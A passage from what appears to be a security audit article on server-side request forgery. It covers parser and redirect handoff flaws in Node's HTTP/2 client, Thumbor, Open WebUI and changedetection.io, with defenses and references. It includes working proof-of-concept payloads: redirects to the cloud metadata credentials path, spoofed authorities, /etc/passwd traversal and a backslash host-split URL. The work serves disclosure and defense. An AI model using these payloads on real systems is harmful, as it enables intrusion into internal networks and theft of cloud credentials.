The validator sees ťŶũŬ.com. The peer sees evil.com. Captured after HPACK decode:

JS :authority = "ťŶũŬ.com"
wire authority = "evil.com"              hex 6576696c2e636f6d

JS :path = "/api/public/dataĿadmin=true"
wire path = "/api/public/data?admin=true"

JS :path = "/uploads/photoį..į..įetcįpasswd"
wire path = "/uploads/photo/../../etc/passwd"

A codepoint-level allowlist can therefore approve an authority, query, or path whose ASCII delimiters do not exist until serialization. The narrowing covers field values and :path, not the body.

Node’s HTTP/1 client rejects the same inputs with ERR_UNESCAPED_CHARACTERS or its invalid-header guard. Those checks were added for CVE-2018-12116 [13]. No equivalent check was present in the four H/2 releases tested. The matrix was 4 releases (v20, v22, v24, v26.1.0) × 2 transports (TLS H/2, h2c) × 4 demos: all 32 trials produced the same wire bytes. The defect site dates to the module’s 2017 release.

Proof: L, HTTP-request depth. No audited product carried untrusted Unicode through a meaningful validator into direct node:http2 fields. Wrappers stripped, encoded, constrained, or signed it; SigV4 in particular makes the altered request fail authentication. axios has an adjacent deletion mismatch—it removes U+0100+ instead of narrowing— but no product chain was found in the audited paths. The primitive is the result; a product scalp is not invented for it.

Redirects escape the original verdict: F5b

RFC 9110 §15.4 defines redirect status codes and the Location field. A client may follow a redirect automatically; it is not required to. If it follows, it sends a request to the new target. The RFC does not cause an application’s SSRF validator to run again. The bug appears when the deployed client follows URL1 after the application checked only URL0.

Thumbor proves this through a configured source allowlist. Open WebUI proves it in the opt-in Playwright loader at component level. Their prerequisites and proof depth differ.

Thumbor: the allowlist that checks one hop

Operators stand Thumbor on the public web and set ALLOWED_SOURCES to restrict which upstream image hosts it will fetch, then route transforms through URLs like /unsafe/200x200/example.cdn/cat.png. The host is matched against the allowlist regex exactly once, in thumbor/loaders/http_loader.py:49-71:

def validate(context, url, normalize_url_func=_normalize_url):
    url = normalize_url_func(url)
    res = urlparse(url)
    if not res.hostname:
        return False
    if not context.config.ALLOWED_SOURCES:
        return True
    for pattern in context.config.ALLOWED_SOURCES:
        if isinstance(pattern, Pattern):
            match = url
        else:
            pattern = f"^{pattern}$"
            match = res.hostname
        if re.match(pattern, match):
            return True
    return False

It runs against the submitted URL and returns. The fetch that follows builds a Tornado request that chases Location on its own, in thumbor/loaders/http_loader.py:178-199:

req = tornado.httpclient.HTTPRequest(
    url=url,
    headers=headers,
    follow_redirects=context.config.HTTP_LOADER_FOLLOW_REDIRECTS,
    max_redirects=context.config.HTTP_LOADER_MAX_REDIRECTS,
    ...
)
response = await client.fetch(req, raise_error=True)

HTTP_LOADER_FOLLOW_REDIRECTS defaults to True and HTTP_LOADER_MAX_REDIRECTS to 5 (thumbor/config.py:442-452). ALLOWED_SOURCES defaults to an empty list, which allows every source directly. A redirect becomes an allowlist bypass only when an operator configures a non-empty list. The reproduction uses that documented configuration. This is P evidence at response-body depth. validate sees the allowlisted host; the client sees an HTTPRequest and a Location header, and that is all it sees. Both backends follow redirects through different code paths. The default SimpleAsyncHTTPClient re-enters its own redirect logic in pure Python (tornado/simple_httpclient.py _handle_redirect), and CurlAsyncHTTPClient delegates to libcurl with CURLOPT_FOLLOWLOCATION=1. Neither has a hook back into the allowlist. The attacker needs one host that matches whatever regex the operator wrote, and that host answers with a redirect:

HTTP/1.1 302 Found
Location: http://169.254.169.254/latest/meta-data/iam/security-credentials/
Content-Length: 0

On the shipped binary (thumbororg/thumbor:latest, Thumbor 7.7.7, Tornado 6.4.2), with ALLOWED_SOURCES = ['attacker\.example'] and every redirect default left alone, the loader follows the 302 into a host the allowlist never approved:

curl /unsafe/200x200/internal.example/secret.png  -> 400 (validator denied)
curl /unsafe/200x200/attacker.example/r           -> 200 image/png, 195 bytes

[internal] GET /secret.png  Host=internal.example  UA=Thumbor/7.7.7

The internal GET arrives carrying Host: internal.example, not the attacker.example the validator approved. Read-capability is gated on the engine: when the upstream returns bytes PIL can decode, Thumbor resizes them and serves the result back as a normal image/png. The 195-byte transform above is the internal PNG round-tripped to the caller. Two different redirect targets read two distinct avatar paths on the same internal host and return distinct md5sums. This proves a path-controlled internal image read, not an authorization bypass between tenants.

The cloud reach is blind. On a real EC2 instance the loader follows a 302 into 169.254.169.254. The redirector log records the initial request and fixed Location; the timing and PIL traceback support that the redirected fetch completed. PIL refuses the credentials JSON, so Thumbor returns HTTP 400 with an empty body. IMDS is reachable; the IAM credentials do not leave Thumbor’s process over the HTTP response. Against internal hosts the loader still maps the upstream outcome to distinct status codes. That provides a service-enumeration and reachability oracle even where the body does not return.

The unauthenticated case is the built-in default: ALLOW_UNSAFE_URL is True in Thumbor’s defaults and in the shipped thumbor.conf example, so /unsafe/... is reachable with no signature. Signing does not close the bug. With ALLOW_UNSAFE_URL=False, SECURITY_KEY set, and signed URLs, the redirect-reparse fires unchanged because the validator and loader run post-signature; the signature covers URL0, not the redirect target URL1. The bound worth stating: in a deployment that signs only server-side-templated URLs and allowlists no attacker-controllable host, reaching the bug needs a separate precondition (an open signing endpoint, an allowlist mistake, or a SECURITY_KEY leak).

Thumbor checks the submitted URL once, then configures Tornado to follow redirects. Tornado fetches URL1 without calling Thumbor’s configured allowlist again. Automatic following is permitted, not required, by the redirect specification.

Open WebUI: redirect inside the Playwright loader

The Open WebUI Playwright loader validates each submitted URL once with validate_url, which resolves the host with socket.getaddrinfo across both families and rejects any address where ipaddress.ip_address(ip).is_global is false, including RFC 1918, loopback, and link-local ranges (retrieval/web/utils.py:67-108). The check blocks direct private addresses in the resolved set at validation time, but it does not pin the later connection. It is also the last time the URL is inspected. After it returns True, the URL flows to SafePlaywrightURLLoader, which hands it to Chromium (retrieval/web/utils.py:455-482):

async with async_playwright() as p:
    ...
    for url in self.urls:
        await self._safe_process_url(url)
        page = await browser.new_page()
        response = await page.goto(url, timeout=self.playwright_timeout)
        ...
        text = await self.evaluator.evaluate_async(page, browser, response)
        yield Document(page_content=text, metadata={'source': url})

page.goto opens the URL in headless Chromium, and Chromium follows the Location header natively. Playwright’s Page.goto exposes no parameter to disable redirect-following; the interception point is a page.route('**/*', handler) hook the loader does not install. The redirect happens inside Chromium, but the application can intercept it through that hook.

This is a sixth shipping component path related to GHSA-rh5x-h6pp-cjj6 (CVE-2026-45401) [14]. That advisory closed five redirect-reparse paths by adding the AIOHTTP_CLIENT_ALLOW_REDIRECTS env flag (default False) and threading it through those aiohttp/requests paths. The Playwright loader uses neither client. It spawns Chromium and calls page.goto. The existing flag is not wired to this loader. Playwright can intercept navigation requests, but this component installs no route handler.

Confirmed against the verbatim SafePlaywrightURLLoader from HEAD (3660bc00fd807deced3400a63bfa6db47811a3bb) on the engine’s pinned playwright==1.58.0 + Chromium stack. The PoC stubs neighboring Open WebUI modules and does not drive a request through a running Open WebUI server, so this is L evidence at response-body depth. The Playwright loader is an opt-in feature:

[redirector 5.5.5.5] GET /r  Host=attacker.example
[internal 10.5.5.5] GET /secret  Host=internal.example
                                 UA=Mozilla/5.0 (X11; Linux x86_64) ...

[result] metadata = {'source': 'http://attacker.example/r'}
[result] page_content[:200]: SSRF_PROOF_SECRET  If Chromium reached
  this body, the redirect chain landed on the internal target ...

=== SSRF CONFIRMED ===

The validator approves attacker.example, which uses an address Python classifies as global and the lab aliases locally. Chromium follows the 302 to internal.example at private address 10.5.5.5, and the body returns in Document.page_content. The reflected body is the read channel. The returned metadata contains only the submitted source URL, exactly {'source': 'http://attacker.example/r'}. It does not expose the final URL. The Playwright engine is opt-in (WEB_LOADER_ENGINE=playwright, shipped with a dedicated compose file) and the attack requires an authenticated user on the RAG ingestion surfaces; the lab redirector stands in for an attacker-controlled public host. A component-level fix can abort redirected requests through page.route. A complete defense also needs to bind accepted resolution to the connection or enforce equivalent network egress policy.

Composition

A handoff failure becomes a composition only when it carries a second, independent weakness into the request. Two separately working PoCs do not count. The combined request must land on the wire through deployed code.

 [ URL0 passes ]
        |
        v
 [ guard returns ]
        |
redirect / re-entry
        |
        v
 [ URL1 carries F? ] ---> internal target

Order matters. Re-entry can normalize a payload, reset Host, use another parser, or rerun part of the guard. Each proposed pair is a fetcher-specific measurement, not an algebraic promise.

A redirect as a parser oracle

changedetection.io supplies the composed result observed in the tested paths. At add time it runs validators.url(). At fetch time and on each redirect it runs only urlparse(url).hostname, then hands the string to urllib3. A benign URL can therefore pass the full add-time path and later return:

HTTP/1.1 302 Found
Location: http://10.89.0.50\@example.com/redirect-probe

The redirect re-enters after validators.url() has disappeared. urlparse reads the host after @ and approves example.com. urllib3 ends the authority at the backslash and dials 10.89.0.50. The private listener recorded the request.

The negative control explains the technique. Replace the literal backslash with %5C and the three views agree; the split dies. The redirect is therefore a differential oracle for the reduced validation path:

target              per-hop guard       urllib3          result
----------------------------------------------------------------
10.89.0.50\@...     example.com         10.89.0.50       lands
10.89.0.50%5C@...   same authority      same authority   dies

This is P evidence at HTTP-request depth for F1 × F5b. The direct F1 case in §4.1 separately proves selected methods, headers, stored bodies, and live IMDSv2. That deeper impact is not borrowed for the redirect leg.

One chain, no algebra

Among the product paths exercised here, this is the sole composition placed on the wire. GitLab is F11 alone: dropping the pin and resolving again is the weakness, not F11 × F2. Thumbor and Open WebUI prove redirects alone. F7 and F9 remain primitives. A chain assembled from separate labs is still not a finding.

RFC 3986 §§7.3-7.4 warned that multiple components interpret URI data during dereference and that resolvers accept numeric forms outside the URI grammar. RFC 9525 §7.4 later described one component misclassifying an IP as a name while the next assumes the IP rule was already enforced. One enforces; the next assumes.

That is prior art for the handoff, not an algebra. The useful result is the literal-backslash redirect above: a later entry point ran fewer validators and resurrected an old parser split. Every proposed composition still needs that request on the wire.

Across thirteen audited stacks

The product cases provide the application-level evidence. This matrix is the breadth check: URL parsers and HTTP clients across Java (two stacks), Go, Python, Node, Rust, C, .NET, PHP, BEAM, Ruby, Swift, and Haskell. A marker means at least one tested surface in that column disagreed. It does not mean every client is affected, or that an application exposes the primitive.

U  raw URL payload                 A  API-shape case
D  resolver handoff                H  H/2 or H/1-vs-H/2 wire
T  TLS / SNI identity              V  version/backend/flag dependent
-  not observed

J1 is JDK URI/HttpClient plus OkHttp. J2 is Apache HttpClient, Netty, Reactor-Netty, and Jetty. The remaining abbreviations are language names. F4, F8, F9, and F11 depend on comparison, application lifecycle, serialization, or a discarded pin; their evidence lives in the case studies rather than this URL/API matrix.

Family                                | J1  | J2  | Go  | Py  | Nd  | Rs  | C
---------------------------------------------------------------------------
F1  Grammar drift / parser entrypoint | U   | U   | U   | U   | U   | U   | U
F1  Backslash + `@` authority         | U   | U   | U   | U   | U   | U   | U
F1  Multi-`@` userinfo / host split   | U   | U   | U   | U   | U   | U   | U
F1  Percent-encoded host delimiters   | U   | U   | U   | U   | U   | U   | U
F12 IPv4 numeric forms                | UD  | UD  | UD  | UD  | UD  | U   | UDV
F12 IPv6 text / zone / mapped forms   | U   | U   | U   | U   | U   | UT  | U
F5a `%2E%2E` dot-segment collapse     | U   | U   | U   | U   | U   | U   | UV
F6  Host header to H/2 `:authority`   | AH  | AH  | AHT | AHT | AH  | AH  | AH
F7  Direct H/2 pseudo-header gaps     | -   | AH  | H   | H   | AH  | -   | AH
F2  DNS resolver differential         | -   | AD  | DV  | D   | D   | AD  | DV
F5b Redirect without target recheck   | A   | A   | A   | A   | A   | A   | -

Family                                | DN  | PHP | BE  | Rb  | Sw  | Hs
----------------------------------------------------------------------
F1  Grammar drift / parser entrypoint | U   | U   | U   | U   | U   | U
F1  Backslash + `@` authority         | -   | U   | U   | U   | U   | U
F1  Multi-`@` userinfo / host split   | U   | U   | U   | U   | U   | U
F1  Percent-encoded host delimiters   | -   | U   | U   | U   | U   | U
F12 IPv4 numeric forms                | U   | UD  | UD  | UD  | UD  | UD
F12 IPv6 text / zone / mapped forms   | U   | U   | U   | U   | U   | U
F5a `%2E%2E` dot-segment collapse     | U   | U   | U   | U   | U   | U
F6  Host header to H/2 `:authority`   | AH  | AH  | AHT | AH  | AHT | AH
F7  Direct H/2 pseudo-header gaps     | -   | -   | AH  | -   | AH  | AH
F2  DNS resolver differential         | D   | D   | D   | D   | D   | D
F5b Redirect without target recheck   | A   | A   | A   | A   | A   | A

Three rows show the broadest recurrence. F1 appears in all thirteen audited columns: mixing parser entrypoints remains dangerous. F6 also spans this matrix, but it is an API shape—an application must expose attacker-controlled Host. F5b appears in twelve audited columns because at least one tested client follows redirects by default; C is empty because libcurl and the tested nghttp client default to no-follow.

F7 is thinner: eight columns contain at least one tested pseudo-header seam, six contain a full application-API-to-wire result, and no guarded product in the audited set assembled it. IPv4 numeric forms appeared in all thirteen audited columns, but Rust and .NET canonicalize before the resolver handoff, so their cells lack D. These differences are why the matrix is a test map, not a vulnerability count.

Secure shapes exist. JDK HttpClient restricts Host by default. Apache HttpClient can keep route and authority on one HttpHost. Bitwarden pins by rewriting RequestUri to the selected literal. Mastodon checks each address inside the connect loop. The seam is common, not inevitable.

The same question, asked of the libraries directly

The matrix above is a test map built by hand. To turn it into a distribution I built a differential oracle. The same crafted input goes to every library at every stage, and the four-value tuple {validator-host, resolver-IP, emitted :authority, dialed-IP} is diffed across each hop. One run produces 1855 verdicts across 16 validators and 5 clients in 8 languages.

Asked about the changedetection.io shape from the backslash case above, delivered through an F5b redirect, the library layer splits four ways:

validator (parses the redirect target)         -> host            client        -> dialed         verdict
---------------------------------------------------------------------------------------------------------
fasthttp / urllib.parse / Python urlsplit       example.com       urllib3        169.254.169.254  SURVIVES
whatwg-url / Node WHATWG / legacy url.parse     169.254.169.254   urllib3        169.254.169.254  BLOCKED
net/url / yarl                                  REJECT (invalid)  urllib3        -                PARSE-REJECT
any                                             example.com       libcurl / Go   example.com      AGREE / BLOCKED

No parser here is wrong. The bug is a validator that reads the backslash as userinfo paired with a fetcher that reads it as a host terminator, and the oracle enumerates which pairs land there. Four real clients behave four different ways.

The negative control holds. The %5C@ variant makes every parser re-agree on example.com and survivals drop to zero, which is what makes the first result worth reporting.

The full oracle is published separately: what it instruments, the per-classifier gap totals, the IDN engine divergence, the F1-F15 taxonomy including the three families this article does not reach, and the unchecked cells of the seam space. The URL Parser Cheatsheet.

Defense: the Mastodon pattern, per language

The required controls are consistent across languages. Prefer an allowlist when the use case has a fixed destination set. Otherwise, resolve the host, evaluate each address immediately before attempting it against direct special-use ranges and the deployment’s routed translation prefixes, then dial that literal. Rejecting the whole answer set if any member is forbidden is a valid stricter policy. Apply the same procedure to every redirect target and enforce network egress separately.

The Ruby reference is Mastodon. app/lib/request.rb:285-365:

class Socket < TCPSocket
  class << self
    def open(host, *args)
      ...
      addresses.each do |address|
        check_private_address(address, host)

        sock     = ::Socket.new(address.match?(Resolv::IPv6::Regex) ?
                                ::Socket::AF_INET6 : ::Socket::AF_INET,
                                ::Socket::SOCK_STREAM, 0)
        sockaddr = ::Socket.pack_sockaddr_in(port, address.to_s)
        ...
        sock.connect_nonblock(sockaddr)
        ...
      end
      ...
    end

    def check_private_address(address, host)
      addr = IPAddr.new(address.to_s)
      ...
      raise Mastodon::PrivateNetworkAddressError, host if
          PrivateAddressCheck.private_address?(addr)
    end
  end
end

On Mastodon’s normal direct path, the validator runs inside the connect loop for each address the client attempts. It runs immediately before connect_nonblock, and the socket dials that literal rather than re-resolving the name. The loop may return after the first successful connection, so this is not a pre-screen of every DNS answer. Redirect targets enter the same direct path. If use_proxy? or @allow_local is true, Mastodon selects ProxySocket, whose check_private_address is a no-op. The direct path handles F2, F5b, and F11, but not F12’s classifier coverage. The policy must know the deployment’s routed prefixes; no fixed public list can decode an arbitrary operator-selected NAT64 prefix.

Per-language equivalents use the same requirement: the client must expose a hook between resolve and connect where the application inspects the resolved address and dials that exact address instead of the name.

Validate the fetcher’s representation, then bind it to use. Parsing with the same library is necessary but not sufficient. urllib3.util.parse_url avoids the changedetection parser split, but the resolved address still has to be carried into the connection and every redirect target needs the same policy. URI.parse(url) is what Net::HTTP will dial; check that instead of the output of a gsub chain. Validate the fetcher’s canonical parse output, or convert the URL once into a (scheme, host, port, ip, path) tuple and do not pass the original string downstream.

Where the blade stopped

A primitive is not a product bug, a classifier pass is not a routed packet, and two working legs are not a chain. The audit produced useful dead ends; this is the relevant compressed record.

Mechanisms without a guarded product

F7 needs three conditions in one process: a destination policy, direct attacker control of H/2 :authority or :path, and no validation of that field. Netty, node:http2, nghttp2, Swift NIO, Haskell http2, and BEAM expose enough API surface to build the split. None of the audited products exposed all three conditions.

F9 is equally bounded. Node v20, v22, v24, and v26.1.0 narrowed the same Unicode strings to the same bytes over TLS H/2 and h2c, but the product hunt stopped before a trust boundary. APNs wrappers stripped or encoded the input; SigV4 made the wire mismatch fail authentication; the other audited callers did not let attacker-controlled Unicode reach direct node:http2 fields. The runtime defect is real. A product exploit is not claimed.

Bytes that did not become routes

The F12 rule is simple: decodes to does not mean routes to. CGNAT needs an on-link network or another route to 100.64.0.0/10. NAT64 and SIIT need the matching prefix, translator, and IPv4 route. The AWS, ThingsBoard, and Nextcloud cases in §5.3 supplied those paths; classifier-only Mattermost and Mastodon trials ended in timeout or ENETUNREACH. 6to4 and Teredo carry routing or tunnel metadata, not a generic HTTP destination. IPv4-compatible semantics are deprecated. No route, no delivery claim.

Managed infrastructure makes the condition practical, not automatic. AWS NAT Gateway can carry 64:ff9b::/96 to supported private IPv4 routes; GCP Private NAT64 can do the same. Using the well-known prefix for non-global IPv4 falls outside RFC 6052 §3.1, but it is deployed behavior. It remains an operator-created route, not a property of every IPv6 host.

Alt-Svc, HTTPS records, and ORIGIN [5][6][7] produced component behavior but no product chain in this audit. For an already-HTTPS URI, Alt-Svc and HTTPS records can select another endpoint without changing the origin. ORIGIN can authorize another origin on an existing connection only when the peer certificate covers it. HTTP/3 retains the Host/:authority requirement and rejects invalid decoded fields [4]. None of the audited products joined those mechanisms to an attacker-controlled internal fetch.

The RFC 7540-versus-9113 Host/:authority difference also stopped at one h2c origin. Go and Node exposed both values to application code; hyper-h2 rejected the mismatch and Apache normalized it. nginx rejected it, while Caddy, HAProxy, and Envoy rebuilt Host from :authority. No tested proxy forwarded the split, so there is no proxy-chain desync finding.

The empirical boundary

Within the products and paths tested in this audit, one composition was wire-confirmed: changedetection.io at F1 × F5b. GitLab is F11 by itself; Thumbor and Open WebUI are F5b by themselves. No tested product path carried F7 or F9 into a second family. A plausible chain assembled from separate labs remains unconfirmed until its combined request reaches the wire.

The opening Mealie trace is the compact model: the guard approved A and the fetcher dialed AAAA. The other families change which representation is lost, not the invariant. A verdict that does not survive into the object, resolver, socket, authority, and next hop is only a comment on an earlier state.

Prior art and acknowledgements

The method starts with Orange Tsai’s A New Era of SSRF (Black Hat USA 2017) [0]: compare the parsers an application applies to one URL. Tsai applied that method to the URL parser and HTTP/1 requester. This article applies it after parsing, through resolution, object mutation, authority emission, and redirects.

The parse-stage seam in §4 was mapped long before this audit. Claroty Team82 and Snyk cross-tested sixteen libraries in Exploiting URL Parsing Confusion (2022) [18] and named the validate-with-one-parser, fetch-with-another failure. Reynolds, Bates and Bailey’s Equivocal URLs (ESORICS 2022) [29] and Ajmani, Koishybayev and Kapravelos’s yoU aRe a Liar (SecWeb 2022) [30] put the parser-differential class on a formal footing. Daniel Stenberg’s My URL isn’t your URL (2016) [31] states the rule plainly: do not mix parsers. The F6 and F7 Host-header and HTTP/2 :authority primitives descend from James Kettle’s Cracking the Lens and HTTP/2: The Sequel is Always Worse [28][17].

The IPv6-transition classifier gap (§5.3, F12) has been documented independently and contemporaneously across the 2026 public advisory and research stream [19]-[24]. This audit contributes breadth, the routes-to-versus-decodes-to correction, and the cloud-routing observation, not the family itself.

Thanks to the maintainers of JDK, .NET, Go, Node.js, Apache HttpComponents, curl, PHP, Ruby URI, OkHttp, undici, Jetty, Reactor Netty, Swift Foundation, Haskell http-client and http2, WHATWG URL, and Ada URL. Thanks also to the projects whose maintainers reviewed these findings.

Language-model tools assisted source navigation and draft review. The author verified the PoCs, wire transcripts, and final claims.

The source excerpts, conditions, and wire transcripts above are the article’s public proof record.

References

[0] Orange Tsai, “A New Era of SSRF: Exploiting URL Parser in

Trending Programming Languages", Black Hat USA 2017.
https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF.pdf

[1] RFC 3986, “Uniform Resource Identifier (URI): Generic

Syntax", 2005. https://www.rfc-editor.org/rfc/rfc3986

[2] RFC 9110, “HTTP Semantics”, 2022.

https://www.rfc-editor.org/rfc/rfc9110

[3] RFC 9113, “HTTP/2”, 2022.

https://www.rfc-editor.org/rfc/rfc9113

[4] RFC 9114, “HTTP/3”, 2022.

https://www.rfc-editor.org/rfc/rfc9114

[5] RFC 7838, “HTTP Alternative Services”, 2016.

https://www.rfc-editor.org/rfc/rfc7838

[6] RFC 8336, “ORIGIN HTTP/2 Frame”, 2018.

https://www.rfc-editor.org/rfc/rfc8336

[7] RFC 9460, “Service Binding and Parameter Specification via

the DNS (SVCB and HTTPS Resource Records)", 2023.
https://www.rfc-editor.org/rfc/rfc9460

[8] RFC 6052, “IPv6 Addressing of IPv4/IPv6 Translators”,

2010. https://www.rfc-editor.org/rfc/rfc6052

[9] RFC 6146, “Stateful NAT64”, 2011.

https://www.rfc-editor.org/rfc/rfc6146

[10] RFC 8305, “Happy Eyeballs Version 2”, 2017.

https://www.rfc-editor.org/rfc/rfc8305

[11] WHATWG URL Living Standard.

https://url.spec.whatwg.org/

[12] CVE-2017-3164 and CVE-2021-27905: Apache Solr shards

SSRF.
https://nvd.nist.gov/vuln/detail/CVE-2017-3164
https://nvd.nist.gov/vuln/detail/CVE-2021-27905

[13] CVE-2018-12116: Node.js HTTP/1 client hostname-spoofing /

header smuggling.
https://nodejs.org/en/blog/vulnerability/november-2018-security-releases/

[14] CVE-2026-45401: Open WebUI redirect-follow SSRF

(GHSA-rh5x-h6pp-cjj6); the F5b Playwright finding in §8.2
extends the parent advisory to a sixth code path.
https://github.com/open-webui/open-webui/security/advisories/GHSA-rh5x-h6pp-cjj6

[15] GHSA-cc8x-jrqv-hmwh: FastGPT DNS rebinding SSRF.

https://github.com/labring/FastGPT/security/advisories/GHSA-cc8x-jrqv-hmwh

[16] GHSA-wvjg-9879-3m7w: AutoGPT DNS rebinding SSRF.

https://github.com/Significant-Gravitas/AutoGPT/security/advisories/GHSA-wvjg-9879-3m7w

[17] PortSwigger, “HTTP/2: The Sequel is Always Worse”.

https://portswigger.net/research/http2

[18] Claroty Team82 / Snyk, “Exploiting URL Parsing Confusion”,

Jan 2022.
https://claroty.com/team82/research/exploiting-url-parsing-confusion

[19] CVE-2026-44430: MCP Registry SSRF via IPv6 transition

forms.
https://github.com/modelcontextprotocol/registry/security/advisories/GHSA-r48c-v28r-pf6v

[20] CVE-2026-44232: dssrf NPM module SSRF via IPv6 categories.

https://github.com/HackingRepo/dssrf-js/security/advisories/GHSA-8p33-q827-ghj5

[21] CVE-2026-44589: nuxt-og-image SSRF re-bypass via IPv6

forms.
https://github.com/nuxt-modules/og-image/security/advisories/GHSA-c2rm-g55x-8hr5

[22] CVE-2026-46678: Pydantic-AI SSRF cloud-metadata blocklist

bypass via IPv6 transition forms.
https://github.com/pydantic/pydantic-ai/security/advisories/GHSA-cqp8-fcvh-x7r3

[23] HackerOne #3634400: ssrf_filter (Ruby) bypass via NAT64

local-use prefix `64:ff9b:1::/48`.
https://hackerone.com/reports/3634400

[24] GHSA-jrvc-8ff5-2f9f: openclaw SSRF via full-form

IPv4-mapped IPv6.
https://github.com/openclaw/openclaw/security/advisories/GHSA-jrvc-8ff5-2f9f

[25] GHSA-v2gc-rm6g-wrw9: Craft CMS SSRF via gethostbyname

(IPv4-only) vs Guzzle dual-stack: the direct ancestor of
§5.1's F2 mechanism.
https://github.com/craftcms/cms/security/advisories/GHSA-v2gc-rm6g-wrw9

[26] CVE-2026-27696 / GHSA-3c45-4pj5-ch7m: changedetection.io

SSRF (fixed 0.54.1). §4.1's finding survives this fix
because the patched `is_private_hostname` consumes
`urlparse(url).hostname`, the same parser the three-parser
disagreement is about.
https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-3c45-4pj5-ch7m

[27] CVE-2024-31991 / CVE-2024-31993: Mealie SSRF predecessors,

fixed in 1.4.0 by adding the `safehttp` module. §5.1's
finding is in the new guard.
https://nvd.nist.gov/vuln/detail/CVE-2024-31991
https://nvd.nist.gov/vuln/detail/CVE-2024-31993

[28] James Kettle, “Cracking the Lens: Targeting HTTP’s Hidden

Attack Surface", Black Hat USA 2017. §7.1's F6 and §7.2's
F7 are its egress dual.
https://portswigger.net/research/cracking-the-lens-targeting-https-hidden-attack-surface

[29] J. Reynolds, A. Bates, M. Bailey, “Equivocal URLs:

Understanding the Fragmented Space of URL Parser
Implementations", ESORICS 2022.
https://sts.cs.illinois.edu/papers/paper/EquivocalURLsUnderst20220926.html

[30] D. K. Ajmani, I. Koishybayev, A. Kapravelos, “yoU aRe a

Liar:// A Unified Framework for Cross-Testing URL Parsers",
IEEE SecWeb 2022.
https://kapravelos.com/publications/youarealiar-secweb22.pdf

[31] Daniel Stenberg, “My URL isn’t your URL”, 2016.

https://daniel.haxx.se/blog/2016/05/11/my-url-isnt-your-url/

[32] RFC 9525, “Service Identity in TLS”, 2023. §7.4 names the

classifier-drift pattern. https://www.rfc-editor.org/rfc/rfc9525

[33] Symfony Security Advisory CVE-2026-48736: IpUtils omits

IPv6 transition forms (SSRF bypass in
NoPrivateNetworkHttpClient), May 2026.
https://github.com/symfony/symfony/security/advisories/GHSA-38cx-cq6f-5755

[34] OWASP, “Server Side Request Forgery Prevention Cheat Sheet”.

https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html

[35] Doyensec, “safeurl” (SSRF-protection library for Go) and

"safeurl for Go", 2022.
https://github.com/doyensec/safeurl
https://blog.doyensec.com/2022/12/13/safeurl.html

[36] Include Security, SafeURL / SafeCURL (2016) and “Mitigating

SSRF in 2023".
https://blog.includesecurity.com/2023/03/mitigating-ssrf-in-2023/

[37] Amazon Web Services, “DNS64 and NAT64” and “NAT gateway basics”.

https://docs.aws.amazon.com/vpc/latest/userguide/nat-gateway-nat64-dns64.html
https://docs.aws.amazon.com/vpc/latest/userguide/nat-gateway-basics.html

[38] Google Cloud, “IPv6-to-IPv4 overview”, “Private NAT”, and Cloud

NAT release notes.
https://docs.cloud.google.com/vpc/docs/ipv6-to-ipv4-overview
https://docs.cloud.google.com/nat/docs/private-nat
https://docs.cloud.google.com/nat/docs/release-notes

[39] Oracle Java 21 API, HttpClient.Builder, HttpClient.Redirect, and

`InetAddressResolverProvider`.
https://docs.oracle.com/en/java/javase/21/docs/api/java.net.http/java/net/http/HttpClient.Builder.html
https://docs.oracle.com/en/java/javase/21/docs/api/java.net.http/java/net/http/HttpClient.Redirect.html
https://docs.oracle.com/en/java/javase/21/docs/api/java.base/java/net/spi/InetAddressResolverProvider.html

[40] Undici 8.7.0, Connector, Fetch, and global dispatcher documentation.

https://github.com/nodejs/undici/blob/v8.7.0/docs/docs/api/Connector.md
https://github.com/nodejs/undici/blob/v8.7.0/docs/docs/api/Fetch.md
https://github.com/nodejs/undici/blob/v8.7.0/lib/global.js

[41] RFC 3056, “Connection of IPv6 Domains via IPv4 Clouds”, 2001.

https://www.rfc-editor.org/rfc/rfc3056

[42] RFC 4291, “IP Version 6 Addressing Architecture”, 2006.

https://www.rfc-editor.org/rfc/rfc4291

|=[ EOF ]=---------------------------------------------------------------=|

Back to posters